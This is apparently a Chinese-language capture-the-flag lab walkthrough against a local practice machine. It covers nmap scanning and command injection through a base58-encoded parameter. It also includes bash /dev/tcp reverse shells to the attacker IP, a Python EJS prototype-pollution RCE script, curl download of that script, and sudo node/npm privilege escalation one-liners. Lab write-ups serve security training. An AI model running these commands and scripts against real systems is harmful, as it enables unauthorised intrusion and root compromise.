参考链接
开始练习
本机ip:192.168.56.102
目的机ip:192.168.56.126
fping -aqg 192.168.56.0/24
nmap 扫描主机
nmap -A -T4 -v 192.168.56.126
扫描目录无果,开放22,80和8000,访问
内容相似,bp抓包,发现参数format
将内容进行识别,可能是base64或base58
两个都测试后,是base58
bp去除参数,查看结果比较,猜测是date命令
使用pwd测试,确认可以rce
拼接获取webshell
&& bash -c 'bash -i >& /dev/tcp/192.168.56.102/4396 0>&1‘
base58编码
5ZUquXDzLaQ9v2JVGCs7yoNZW1yoG6jzAs7NYSJLVTF2XfF9FH3MnsGKCnp1cqZKA9M7QmAmv3iy5x
kali开启监听端口
nc -nvlp 4396
回退,有一个该应用的第二个版本,backend文件夹里有一个express-fileupload版本有已知漏洞可以提升权限
、
##############################################################
# Run this .py to perform EJS-RCE attack
# referenced from
# https://blog.p6.is/Real-World-JS-1/
#
# Timothy, 10 November 2020
##############################################################
### imports
import requests
### commands to run on victim machine
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.102/4396 0>&1"'
print("Starting Attack...")
### pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
### execute command
requests.get('http://127.0.0.1:8080')
print("Finished!")
kali开启httpserver,webshell中使用wget或curl将脚本存入靶机
kali上: python -m SimpleHTTPServer
cd /tmp
curl http://192.168.56.102:8000/exp1.py
./exp1.py
再开启一个监听端口,执行脚本,获取用户shell
sudo -l
尝试npm和node提权,node成功了
node部分
sudo node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'
npm部分
TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
sudo npm -C $TF --unsafe-perm i